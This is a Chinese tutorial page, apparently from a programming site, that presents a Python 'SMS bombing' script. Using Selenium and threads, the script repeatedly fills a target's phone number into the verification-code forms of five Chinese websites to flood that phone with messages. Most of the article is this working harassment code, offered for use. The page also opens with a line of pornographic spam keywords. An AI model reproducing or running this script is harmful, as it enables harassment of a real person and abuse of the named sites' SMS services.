欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Python短信轟炸的代碼

 更新時間:2020年03月25日 14:26:03   作者:小小鳥敲代碼  
這篇文章主要介紹了Python短信轟炸的代碼,代碼簡單易懂,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下

環(huán)境 python3.0

工具 pycharm

谷歌插件chromedriver

程序執(zhí)行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轟炸的電話號碼
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  發(fā)送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面這行是剛剛敘說的chromedrive的安裝路徑

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "http://button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("http://input[@placeholder='手機(jī)號']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "http://button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "http://a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("http://input[@placeholder='請輸入您的手機(jī)號碼']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("http://button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "http://input[@placeholder='請輸入手機(jī)號碼']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "http://input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "http://a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("http://a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "http://input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "http://a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "http://input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "http://input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "http://a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

執(zhí)行放發(fā)

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品會",))
suning = Thread(target=hongzha.suning,args=("蘇寧",))
yhd= Thread( target=hongzha.yhd,args=("一號店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

總結(jié)

到此這篇關(guān)于Python短信轟炸的代碼的文章就介紹到這了,更多相關(guān)Python短信轟炸內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • pytorch中fuse_modules源碼解讀

    pytorch中fuse_modules源碼解讀

    這篇文章主要介紹了pytorch中fuse_modules,fuse_known_modules將給定的模塊列表mod_list中的一些常見模塊進(jìn)行融合,返回融合后的模塊列表,本文通過實例代碼詳細(xì)講解,需要的朋友可以參考下
    2023-05-05
  • python先序遍歷二叉樹問題

    python先序遍歷二叉樹問題

    這篇文章主要介紹了python先序遍歷二叉樹問題,簡單分析了問題,然后向大家分享了代碼示例,具有一定參考價值,需要的朋友可以了解下。
    2017-11-11
  • Python數(shù)據(jù)結(jié)構(gòu)與算法之圖的最短路徑(Dijkstra算法)完整實例

    Python數(shù)據(jù)結(jié)構(gòu)與算法之圖的最短路徑(Dijkstra算法)完整實例

    這篇文章主要介紹了Python數(shù)據(jù)結(jié)構(gòu)與算法之圖的最短路徑(Dijkstra算法),結(jié)合完整實例形式分析了Python圖的最短路徑算法相關(guān)原理與實現(xiàn)技巧,需要的朋友可以參考下
    2017-12-12
  • 詳細(xì)分析python3的reduce函數(shù)

    詳細(xì)分析python3的reduce函數(shù)

    小編給大家整理了python3的reduce函數(shù)詳細(xì)用法以及相關(guān)的技巧,需要的朋友們參考一下吧。
    2017-12-12
  • mac下如何將python2.7改為python3

    mac下如何將python2.7改為python3

    這篇文章主要介紹了mac下如何將python2.7改為python3,本文分步驟給大家介紹的非常詳細(xì),具有一定的參考借鑒價值,需要的朋友可以參考下
    2018-07-07
  • Python?PyQt5?開啟線程防止界面卡死閃退問題解決

    Python?PyQt5?開啟線程防止界面卡死閃退問題解決

    這篇文章主要介紹了Python?PyQt5?開啟線程避免界面卡死閃退,本文通過示例代碼給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2023-06-06
  • numpy.ndarray 交換多維數(shù)組(矩陣)的行/列方法

    numpy.ndarray 交換多維數(shù)組(矩陣)的行/列方法

    今天小編就為大家分享一篇numpy.ndarray 交換多維數(shù)組(矩陣)的行/列方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-08-08
  • Python通過format函數(shù)格式化顯示值

    Python通過format函數(shù)格式化顯示值

    這篇文章主要介紹了Python通過format函數(shù)格式化顯示值,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-10-10
  • Python 使用Opencv實現(xiàn)目標(biāo)檢測與識別的示例代碼

    Python 使用Opencv實現(xiàn)目標(biāo)檢測與識別的示例代碼

    這篇文章主要介紹了Python 使用Opencv實現(xiàn)目標(biāo)檢測與識別的示例代碼,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-09-09
  • Pyqt5?Designer構(gòu)建桌面應(yīng)用設(shè)計及實現(xiàn)代碼

    Pyqt5?Designer構(gòu)建桌面應(yīng)用設(shè)計及實現(xiàn)代碼

    這篇文章主要為大家介紹了Pyqt5?Designer構(gòu)建桌面應(yīng)用設(shè)計及實現(xiàn)代碼,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-12-12

最新評論